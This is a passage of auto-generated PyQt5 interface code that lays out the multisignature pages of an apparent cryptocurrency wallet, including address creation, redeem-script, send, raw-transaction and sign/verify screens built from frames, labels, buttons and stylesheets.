self.gridLayout_40.addWidget(self.line_30, 2, 0, 1, 1)
self.multisig_list = QtWidgets.QListWidget(self.frame_27)
self.multisig_list.setMinimumSize(QtCore.QSize(0, 185))
self.multisig_list.setMaximumSize(QtCore.QSize(16777215, 185))
font = QtGui.QFont()
font.setFamily("Futura")
self.multisig_list.setFont(font)
self.multisig_list.setToolTip("")
self.multisig_list.setStyleSheet("border-radius: 4px;\n"
"background-color: rgb(229, 234, 235);\n"
"\n"
"")
self.multisig_list.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.multisig_list.setFrameShadow(QtWidgets.QFrame.Plain)
self.multisig_list.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.multisig_list.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.multisig_list.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents)
self.multisig_list.setAutoScrollMargin(5)
self.multisig_list.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection)
self.multisig_list.setObjectName("multisig_list")
self.gridLayout_40.addWidget(self.multisig_list, 0, 0, 1, 1)
self.frame_36 = QtWidgets.QFrame(self.frame_27)
self.frame_36.setMinimumSize(QtCore.QSize(0, 100))
self.frame_36.setMaximumSize(QtCore.QSize(16777215, 200))
self.frame_36.setStyleSheet("background-color: rgb(224, 229, 230);\n"
"border-radius: 4px;")
self.frame_36.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_36.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_36.setObjectName("frame_36")
self.gridLayout_60 = QtWidgets.QGridLayout(self.frame_36)
self.gridLayout_60.setContentsMargins(0, 12, 0, -1)
self.gridLayout_60.setObjectName("gridLayout_60")
self.frame_14 = QtWidgets.QFrame(self.frame_36)
self.frame_14.setMinimumSize(QtCore.QSize(0, 65))
self.frame_14.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_14.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_14.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_14.setObjectName("frame_14")
self.gridLayout_47 = QtWidgets.QGridLayout(self.frame_14)
self.gridLayout_47.setObjectName("gridLayout_47")
self.sig_box = QtWidgets.QComboBox(self.frame_14)
self.sig_box.setMinimumSize(QtCore.QSize(0, 45))
font = QtGui.QFont()
font.setFamily("Futura")
self.sig_box.setFont(font)
self.sig_box.setStyleSheet("border-radius: 3px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: blue;")
self.sig_box.setObjectName("sig_box")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.sig_box.addItem("")
self.gridLayout_47.addWidget(self.sig_box, 0, 1, 1, 1)
self.label_15 = QtWidgets.QLabel(self.frame_14)
self.label_15.setMinimumSize(QtCore.QSize(0, 25))
self.label_15.setMaximumSize(QtCore.QSize(16777215, 25))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_15.setFont(font)
self.label_15.setStyleSheet("")
self.label_15.setObjectName("label_15")
self.gridLayout_47.addWidget(self.label_15, 0, 0, 1, 1)
self.gridLayout_60.addWidget(self.frame_14, 0, 0, 1, 1)
self.gridLayout_40.addWidget(self.frame_36, 4, 0, 1, 1)
self.frame_53 = QtWidgets.QFrame(self.frame_27)
self.frame_53.setMinimumSize(QtCore.QSize(0, 65))
self.frame_53.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_53.setStyleSheet("border-radius: 3px;\n"
"background-color: rgb(218, 223, 224);")
self.frame_53.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_53.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_53.setObjectName("frame_53")
self.gridLayout_74 = QtWidgets.QGridLayout(self.frame_53)
self.gridLayout_74.setObjectName("gridLayout_74")
self.multisig_gen_btn = QtWidgets.QPushButton(self.frame_53)
self.multisig_gen_btn.setToolTipDuration(-1)
self.multisig_gen_btn.setObjectName("multisig_gen_btn")
self.gridLayout_74.addWidget(self.multisig_gen_btn, 0, 0, 1, 1, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
self.gridLayout_40.addWidget(self.frame_53, 5, 0, 1, 1)
self.verticalLayout_13.addWidget(self.frame_27)
spacerItem4 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.verticalLayout_13.addItem(spacerItem4)
self.gridLayout_30.addWidget(self.groupBox_3, 0, 0, 1, 1)
self.gridLayout_29.addWidget(self.frame_24, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.multisig_create_page)
self.multi_sccs_page = QtWidgets.QWidget()
self.multi_sccs_page.setObjectName("multi_sccs_page")
self.gridLayout_106 = QtWidgets.QGridLayout(self.multi_sccs_page)
self.gridLayout_106.setObjectName("gridLayout_106")
self.frame_83 = QtWidgets.QFrame(self.multi_sccs_page)
self.frame_83.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_83.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_83.setObjectName("frame_83")
self.gridLayout_107 = QtWidgets.QGridLayout(self.frame_83)
self.gridLayout_107.setObjectName("gridLayout_107")
self.groupBox_18 = QtWidgets.QGroupBox(self.frame_83)
self.groupBox_18.setTitle("")
self.groupBox_18.setObjectName("groupBox_18")
self.gridLayout_108 = QtWidgets.QGridLayout(self.groupBox_18)
self.gridLayout_108.setObjectName("gridLayout_108")
self.frame_84 = QtWidgets.QFrame(self.groupBox_18)
self.frame_84.setMinimumSize(QtCore.QSize(0, 65))
self.frame_84.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_84.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_84.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_84.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_84.setObjectName("frame_84")
self.gridLayout_109 = QtWidgets.QGridLayout(self.frame_84)
self.gridLayout_109.setObjectName("gridLayout_109")
self.label_62 = QtWidgets.QLabel(self.frame_84)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_62.setFont(font)
self.label_62.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.label_62.setObjectName("label_62")
self.gridLayout_109.addWidget(self.label_62, 0, 0, 1, 1)
self.gridLayout_108.addWidget(self.frame_84, 0, 0, 1, 1)
self.line_20 = QtWidgets.QFrame(self.groupBox_18)
self.line_20.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_20.setFrameShape(QtWidgets.QFrame.HLine)
self.line_20.setObjectName("line_20")
self.gridLayout_108.addWidget(self.line_20, 1, 0, 1, 1)
self.frame_97 = QtWidgets.QFrame(self.groupBox_18)
self.frame_97.setMinimumSize(QtCore.QSize(0, 100))
self.frame_97.setMaximumSize(QtCore.QSize(16777215, 100))
self.frame_97.setStyleSheet("border-radius: 4px;")
self.frame_97.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_97.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_97.setObjectName("frame_97")
self.gridLayout_37 = QtWidgets.QGridLayout(self.frame_97)
self.gridLayout_37.setObjectName("gridLayout_37")
self.label_78 = QtWidgets.QLabel(self.frame_97)
font = QtGui.QFont()
font.setPointSize(15)
self.label_78.setFont(font)
self.label_78.setStyleSheet("")
self.label_78.setObjectName("label_78")
self.gridLayout_37.addWidget(self.label_78, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.multi_qr_btn = QtWidgets.QPushButton(self.frame_97)
self.multi_qr_btn.setObjectName("multi_qr_btn")
self.gridLayout_37.addWidget(self.multi_qr_btn, 1, 0, 1, 1, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
self.gridLayout_108.addWidget(self.frame_97, 3, 0, 1, 1)
self.frame_85 = QtWidgets.QFrame(self.groupBox_18)
self.frame_85.setMinimumSize(QtCore.QSize(0, 0))
self.frame_85.setStyleSheet("QFrame#frame_85{border-radius: 4px;}\n"
"")
self.frame_85.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.frame_85.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_85.setObjectName("frame_85")
self.gridLayout_110 = QtWidgets.QGridLayout(self.frame_85)
self.gridLayout_110.setObjectName("gridLayout_110")
self.new_multi_line = QtWidgets.QLineEdit(self.frame_85)
self.new_multi_line.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.new_multi_line.setFont(font)
self.new_multi_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.new_multi_line.setObjectName("new_multi_line")
self.gridLayout_110.addWidget(self.new_multi_line, 0, 1, 1, 1)
self.label_64 = QtWidgets.QLabel(self.frame_85)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_64.setFont(font)
self.label_64.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_64.setObjectName("label_64")
self.gridLayout_110.addWidget(self.label_64, 1, 0, 1, 1)
self.redeem_txt = QtWidgets.QTextEdit(self.frame_85)
font = QtGui.QFont()
font.setFamily("Futura")
self.redeem_txt.setFont(font)
self.redeem_txt.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.redeem_txt.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.redeem_txt.setObjectName("redeem_txt")
self.gridLayout_110.addWidget(self.redeem_txt, 1, 1, 1, 1)
self.label_63 = QtWidgets.QLabel(self.frame_85)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_63.setFont(font)
self.label_63.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_63.setObjectName("label_63")
self.gridLayout_110.addWidget(self.label_63, 0, 0, 1, 1)
self.gridLayout_108.addWidget(self.frame_85, 2, 0, 1, 1)
self.gridLayout_107.addWidget(self.groupBox_18, 0, 0, 1, 1)
self.gridLayout_106.addWidget(self.frame_83, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.multi_sccs_page)
self.multisig_send_page = QtWidgets.QWidget()
self.multisig_send_page.setMinimumSize(QtCore.QSize(0, 35))
self.multisig_send_page.setObjectName("multisig_send_page")
self.gridLayout_31 = QtWidgets.QGridLayout(self.multisig_send_page)
self.gridLayout_31.setObjectName("gridLayout_31")
self.frame_28 = QtWidgets.QFrame(self.multisig_send_page)
self.frame_28.setStyleSheet("")
self.frame_28.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_28.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_28.setObjectName("frame_28")
self.gridLayout_32 = QtWidgets.QGridLayout(self.frame_28)
self.gridLayout_32.setObjectName("gridLayout_32")
self.groupBox_5 = QtWidgets.QGroupBox(self.frame_28)
self.groupBox_5.setMinimumSize(QtCore.QSize(0, 700))
self.groupBox_5.setTitle("")
self.groupBox_5.setObjectName("groupBox_5")
self.gridLayout_33 = QtWidgets.QGridLayout(self.groupBox_5)
self.gridLayout_33.setObjectName("gridLayout_33")
self.line_8 = QtWidgets.QFrame(self.groupBox_5)
self.line_8.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_8.setFrameShape(QtWidgets.QFrame.HLine)
self.line_8.setObjectName("line_8")
self.gridLayout_33.addWidget(self.line_8, 1, 0, 1, 1)
self.frame_33 = QtWidgets.QFrame(self.groupBox_5)
self.frame_33.setMinimumSize(QtCore.QSize(0, 65))
self.frame_33.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_33.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_33.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_33.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_33.setObjectName("frame_33")
self.verticalLayout_18 = QtWidgets.QVBoxLayout(self.frame_33)
self.verticalLayout_18.setObjectName("verticalLayout_18")
self.label_16 = QtWidgets.QLabel(self.frame_33)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_16.setFont(font)
self.label_16.setStyleSheet("")
self.label_16.setObjectName("label_16")
self.verticalLayout_18.addWidget(self.label_16)
self.gridLayout_33.addWidget(self.frame_33, 0, 0, 1, 1)
self.frame_30 = QtWidgets.QFrame(self.groupBox_5)
self.frame_30.setMinimumSize(QtCore.QSize(0, 60))
self.frame_30.setMaximumSize(QtCore.QSize(16777215, 60))
self.frame_30.setStyleSheet("QFrame#frame_30{border-radius: 4px;}\n"
"")
self.frame_30.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_30.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_30.setObjectName("frame_30")
self.gridLayout_34 = QtWidgets.QGridLayout(self.frame_30)
self.gridLayout_34.setObjectName("gridLayout_34")
self.label_14 = QtWidgets.QLabel(self.frame_30)
self.label_14.setMinimumSize(QtCore.QSize(90, 0))
self.label_14.setMaximumSize(QtCore.QSize(80, 16777215))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_14.setFont(font)
self.label_14.setStyleSheet("padding-bottom: 4px;")
self.label_14.setObjectName("label_14")
self.gridLayout_34.addWidget(self.label_14, 0, 0, 1, 1)
self.comboBox_2 = QtWidgets.QComboBox(self.frame_30)
self.comboBox_2.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.comboBox_2.setFont(font)
self.comboBox_2.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.comboBox_2.setObjectName("comboBox_2")
self.comboBox_2.addItem("")
self.gridLayout_34.addWidget(self.comboBox_2, 0, 1, 1, 1)
self.gridLayout_33.addWidget(self.frame_30, 3, 0, 1, 1)
self.label_17 = QtWidgets.QLabel(self.groupBox_5)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(35)
sizePolicy.setHeightForWidth(self.label_17.sizePolicy().hasHeightForWidth())
self.label_17.setSizePolicy(sizePolicy)
self.label_17.setMinimumSize(QtCore.QSize(0, 35))
self.label_17.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setPointSize(15)
self.label_17.setFont(font)
self.label_17.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_17.setObjectName("label_17")
self.gridLayout_33.addWidget(self.label_17, 4, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.multi_amt_frame = QtWidgets.QFrame(self.groupBox_5)
self.multi_amt_frame.setMinimumSize(QtCore.QSize(0, 65))
self.multi_amt_frame.setMaximumSize(QtCore.QSize(16777215, 65))
self.multi_amt_frame.setStyleSheet("QFrame#multi_amt_frame{border-radius: 4px;}")
self.multi_amt_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.multi_amt_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.multi_amt_frame.setObjectName("multi_amt_frame")
self.gridLayout_44 = QtWidgets.QGridLayout(self.multi_amt_frame)
self.gridLayout_44.setObjectName("gridLayout_44")
self.label_20 = QtWidgets.QLabel(self.multi_amt_frame)
self.label_20.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_20.setFont(font)
self.label_20.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_20.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_20.setObjectName("label_20")
self.gridLayout_44.addWidget(self.label_20, 0, 0, 1, 1)
self.fee_est2_btn = QtWidgets.QPushButton(self.multi_amt_frame)
self.fee_est2_btn.setObjectName("fee_est2_btn")
self.gridLayout_44.addWidget(self.fee_est2_btn, 0, 2, 1, 1)
self.lineEdit_3 = QtWidgets.QLineEdit(self.multi_amt_frame)
self.lineEdit_3.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit_3.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_3.setFont(font)
self.lineEdit_3.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_3.setText("")
self.lineEdit_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.lineEdit_3.setObjectName("lineEdit_3")
self.gridLayout_44.addWidget(self.lineEdit_3, 0, 1, 1, 1)
self.gridLayout_33.addWidget(self.multi_amt_frame, 7, 0, 1, 1)
self.frame_70 = QtWidgets.QFrame(self.groupBox_5)
self.frame_70.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_70.setStyleSheet("QFrame#frame_70{border-radius: 4px;}\n"
"")
self.frame_70.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_70.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_70.setObjectName("frame_70")
self.gridLayout_9 = QtWidgets.QGridLayout(self.frame_70)
self.gridLayout_9.setContentsMargins(-1, 6, -1, 6)
self.gridLayout_9.setObjectName("gridLayout_9")
self.label_55 = QtWidgets.QLabel(self.frame_70)
font = QtGui.QFont()
font.setPointSize(15)
self.label_55.setFont(font)
self.label_55.setStyleSheet("")
self.label_55.setObjectName("label_55")
self.gridLayout_9.addWidget(self.label_55, 0, 0, 1, 1)
self.gridLayout_33.addWidget(self.frame_70, 2, 0, 1, 1)
self.frame_5 = QtWidgets.QFrame(self.groupBox_5)
self.frame_5.setMinimumSize(QtCore.QSize(0, 55))
self.frame_5.setStyleSheet("background-color: rgb(229, 234, 235);")
self.frame_5.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_5.setObjectName("frame_5")
self.gridLayout_102 = QtWidgets.QGridLayout(self.frame_5)
self.gridLayout_102.setObjectName("gridLayout_102")
self.multi_create_btn = QtWidgets.QPushButton(self.frame_5)
self.multi_create_btn.setStyleSheet("")
self.multi_create_btn.setObjectName("multi_create_btn")
self.gridLayout_102.addWidget(self.multi_create_btn, 0, 2, 1, 1, QtCore.Qt.AlignVCenter)
self.multi_add_btn = QtWidgets.QPushButton(self.frame_5)
self.multi_add_btn.setObjectName("multi_add_btn")
self.gridLayout_102.addWidget(self.multi_add_btn, 0, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.multi_clear_btn = QtWidgets.QPushButton(self.frame_5)
self.multi_clear_btn.setToolTip("")
self.multi_clear_btn.setObjectName("multi_clear_btn")
self.gridLayout_102.addWidget(self.multi_clear_btn, 0, 1, 1, 1, QtCore.Qt.AlignVCenter)
self.multi_sign_btn2 = QtWidgets.QPushButton(self.frame_5)
self.multi_sign_btn2.setEnabled(True)
self.multi_sign_btn2.setObjectName("multi_sign_btn2")
self.gridLayout_102.addWidget(self.multi_sign_btn2, 0, 3, 1, 1, QtCore.Qt.AlignVCenter)
self.gridLayout_33.addWidget(self.frame_5, 8, 0, 1, 1)
self.frame_80 = QtWidgets.QFrame(self.groupBox_5)
self.frame_80.setMinimumSize(QtCore.QSize(0, 200))
self.frame_80.setMaximumSize(QtCore.QSize(16777215, 200))
self.frame_80.setStyleSheet("QFrame#frame_80{border-radius: 4px;}\n"
"QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_80.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_80.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_80.setObjectName("frame_80")
self.gridLayout_103 = QtWidgets.QGridLayout(self.frame_80)
self.gridLayout_103.setContentsMargins(-1, 6, -1, 6)
self.gridLayout_103.setObjectName("gridLayout_103")
self.rcp_list_2 = QtWidgets.QListWidget(self.frame_80)
self.rcp_list_2.setMinimumSize(QtCore.QSize(0, 170))
self.rcp_list_2.setMaximumSize(QtCore.QSize(16777215, 170))
font = QtGui.QFont()
font.setFamily("Futura")
self.rcp_list_2.setFont(font)
self.rcp_list_2.setStyleSheet("background-color: rgb(201, 207, 207);\n"
"")
self.rcp_list_2.setFrameShape(QtWidgets.QFrame.NoFrame)
self.rcp_list_2.setFrameShadow(QtWidgets.QFrame.Plain)
self.rcp_list_2.setLineWidth(0)
self.rcp_list_2.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.rcp_list_2.setAutoScrollMargin(0)
self.rcp_list_2.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection)
self.rcp_list_2.setObjectName("rcp_list_2")
self.gridLayout_103.addWidget(self.rcp_list_2, 0, 0, 1, 1)
self.gridLayout_33.addWidget(self.frame_80, 5, 0, 1, 1)
self.gridLayout_32.addWidget(self.groupBox_5, 0, 0, 1, 1)
self.label_65 = QtWidgets.QLabel(self.frame_28)
self.label_65.setMinimumSize(QtCore.QSize(0, 34))
font = QtGui.QFont()
font.setFamily("Helvetica")
font.setPointSize(16)
self.label_65.setFont(font)
self.label_65.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_65.setText("")
self.label_65.setObjectName("label_65")
self.gridLayout_32.addWidget(self.label_65, 1, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_31.addWidget(self.frame_28, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.multisig_send_page)
self.raw_multi_trans_page = QtWidgets.QWidget()
self.raw_multi_trans_page.setObjectName("raw_multi_trans_page")
self.gridLayout_112 = QtWidgets.QGridLayout(self.raw_multi_trans_page)
self.gridLayout_112.setObjectName("gridLayout_112")
self.frame_87 = QtWidgets.QFrame(self.raw_multi_trans_page)
self.frame_87.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_87.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_87.setObjectName("frame_87")
self.gridLayout_113 = QtWidgets.QGridLayout(self.frame_87)
self.gridLayout_113.setObjectName("gridLayout_113")
self.groupBox_19 = QtWidgets.QGroupBox(self.frame_87)
self.groupBox_19.setTitle("")
self.groupBox_19.setObjectName("groupBox_19")
self.gridLayout_114 = QtWidgets.QGridLayout(self.groupBox_19)
self.gridLayout_114.setObjectName("gridLayout_114")
self.frame_90 = QtWidgets.QFrame(self.groupBox_19)
self.frame_90.setStyleSheet("QFrame#frame_90{border-radius: 4px;}\n"
"")
self.frame_90.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_90.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_90.setObjectName("frame_90")
self.gridLayout_117 = QtWidgets.QGridLayout(self.frame_90)
self.gridLayout_117.setObjectName("gridLayout_117")
self.raw_mult_trans = QtWidgets.QTextEdit(self.frame_90)
font = QtGui.QFont()
font.setFamily("Futura")
self.raw_mult_trans.setFont(font)
self.raw_mult_trans.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.raw_mult_trans.setFrameShadow(QtWidgets.QFrame.Plain)
self.raw_mult_trans.setPlaceholderText("")
self.raw_mult_trans.setObjectName("raw_mult_trans")
self.gridLayout_117.addWidget(self.raw_mult_trans, 0, 1, 1, 1)
self.label_72 = QtWidgets.QLabel(self.frame_90)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_72.setFont(font)
self.label_72.setStyleSheet("")
self.label_72.setObjectName("label_72")
self.gridLayout_117.addWidget(self.label_72, 0, 0, 1, 1)
self.multi_sign_btn3 = QtWidgets.QPushButton(self.frame_90)
self.multi_sign_btn3.setObjectName("multi_sign_btn3")
self.gridLayout_117.addWidget(self.multi_sign_btn3, 1, 1, 1, 1)
self.gridLayout_114.addWidget(self.frame_90, 3, 0, 1, 1)
self.frame_89 = QtWidgets.QFrame(self.groupBox_19)
self.frame_89.setMinimumSize(QtCore.QSize(0, 40))
self.frame_89.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setFamily("Futura")
self.frame_89.setFont(font)
self.frame_89.setStyleSheet("QFrame#frame_89{border-radius: 4px;}\n"
"")
self.frame_89.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_89.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_89.setObjectName("frame_89")
self.gridLayout_116 = QtWidgets.QGridLayout(self.frame_89)
self.gridLayout_116.setObjectName("gridLayout_116")
self.label_71 = QtWidgets.QLabel(self.frame_89)
font = QtGui.QFont()
font.setPointSize(15)
self.label_71.setFont(font)
self.label_71.setStyleSheet("")
self.label_71.setObjectName("label_71")
self.gridLayout_116.addWidget(self.label_71, 0, 0, 1, 1)
self.gridLayout_114.addWidget(self.frame_89, 2, 0, 1, 1)
self.line_21 = QtWidgets.QFrame(self.groupBox_19)
self.line_21.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_21.setFrameShape(QtWidgets.QFrame.HLine)
self.line_21.setObjectName("line_21")
self.gridLayout_114.addWidget(self.line_21, 1, 0, 1, 1)
self.frame_88 = QtWidgets.QFrame(self.groupBox_19)
self.frame_88.setMinimumSize(QtCore.QSize(0, 65))
self.frame_88.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_88.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_88.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_88.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_88.setObjectName("frame_88")
self.gridLayout_115 = QtWidgets.QGridLayout(self.frame_88)
self.gridLayout_115.setObjectName("gridLayout_115")
self.label_70 = QtWidgets.QLabel(self.frame_88)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_70.setFont(font)
self.label_70.setStyleSheet("")
self.label_70.setObjectName("label_70")
self.gridLayout_115.addWidget(self.label_70, 0, 0, 1, 1)
self.gridLayout_114.addWidget(self.frame_88, 0, 0, 1, 1)
self.gridLayout_113.addWidget(self.groupBox_19, 0, 0, 1, 1)
self.gridLayout_112.addWidget(self.frame_87, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.raw_multi_trans_page)
self.load_sign_verify_page = QtWidgets.QWidget()
self.load_sign_verify_page.setObjectName("load_sign_verify_page")
self.gridLayout_45 = QtWidgets.QGridLayout(self.load_sign_verify_page)
self.gridLayout_45.setObjectName("gridLayout_45")
self.frame_13 = QtWidgets.QFrame(self.load_sign_verify_page)
self.frame_13.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_13.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_13.setObjectName("frame_13")
self.gridLayout_46 = QtWidgets.QGridLayout(self.frame_13)
self.gridLayout_46.setObjectName("gridLayout_46")
self.groupBox_8 = QtWidgets.QGroupBox(self.frame_13)
self.groupBox_8.setTitle("")
self.groupBox_8.setObjectName("groupBox_8")
self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.groupBox_8)
self.verticalLayout_3.setObjectName("verticalLayout_3")
self.frame_19 = QtWidgets.QFrame(self.groupBox_8)
self.frame_19.setMinimumSize(QtCore.QSize(0, 65))
self.frame_19.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_19.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);")
self.frame_19.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_19.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_19.setObjectName("frame_19")
self.gridLayout_49 = QtWidgets.QGridLayout(self.frame_19)
self.gridLayout_49.setObjectName("gridLayout_49")
self.label_18 = QtWidgets.QLabel(self.frame_19)
self.label_18.setMinimumSize(QtCore.QSize(0, 0))
self.label_18.setMaximumSize(QtCore.QSize(16777215, 65))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_18.setFont(font)
self.label_18.setStyleSheet("\n"
"background-color: rgb(253, 253, 255);")
self.label_18.setObjectName("label_18")
self.gridLayout_49.addWidget(self.label_18, 0, 0, 1, 1)
self.verticalLayout_3.addWidget(self.frame_19)
self.line_11 = QtWidgets.QFrame(self.groupBox_8)
self.line_11.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_11.setFrameShape(QtWidgets.QFrame.HLine)
self.line_11.setObjectName("line_11")
self.verticalLayout_3.addWidget(self.line_11)
self.frame_47 = QtWidgets.QFrame(self.groupBox_8)
self.frame_47.setMinimumSize(QtCore.QSize(0, 40))
